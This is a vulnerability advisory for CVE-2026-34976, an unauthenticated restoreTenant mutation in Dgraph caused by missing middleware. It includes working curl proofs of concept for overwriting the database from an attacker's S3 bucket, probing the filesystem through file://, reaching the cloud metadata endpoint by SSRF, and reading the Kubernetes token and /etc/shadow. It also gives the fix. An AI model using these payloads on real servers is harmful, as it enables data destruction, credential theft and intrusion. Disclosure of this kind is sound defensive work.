CVE-2026-34976

Summary

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. Authentication Bypass Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map. When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging. PoC 1: Pre-Auth Database Overwrite The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database: # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials. curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }' # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}} # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace). The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at onlinerestore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data. Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys: mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } } Live PoC Results (Dgraph v24.x Docker) Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison: # restore (HAS middleware) -> BLOCKED $ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]} # restoreTenant (MISSING middleware) -> AUTH BYPASSED $ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]} The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic. Filesystem enumeration also confirmed with distinct error messages: /etc/ (exists): "No backups with the specified backup ID" (directory scanned) /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist) /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned) PoC 2: Local Filesystem Probe via file:// Scheme curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }' # Error response reveals whether /etc/ exists and its structure. # backuphandler.go:130-132 creates a fileHandler for file:// URIs. # fileHandler.ListPaths at line 161-166 walks the local filesystem. # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path)) PoC 3: SSRF via S3 Endpoint curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }' # The Minio client at backuphandler.go:257 connects to 169.254.169.254 as an S3 endpoint. # Error response may leak cloud metadata information. PoC 4: Vault SSRF + Server File Path Read curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }' # vaultAddr at onlinerestore.go:484 triggers SSRF to internal-service:8080 # vaultRoleIDFile at onlinerestore.go:478-479 reads the K8s SA token from disk # encryptionKeyFile at onlinerestore.go:475 reads /etc/shadow via BuildEncFlag Fix Add restoreTenant to adminMutationMWConfig: "restoreTenant": gogMutMWs, Koda Reef

Impact

Affected versions

Security releases

Remediation advice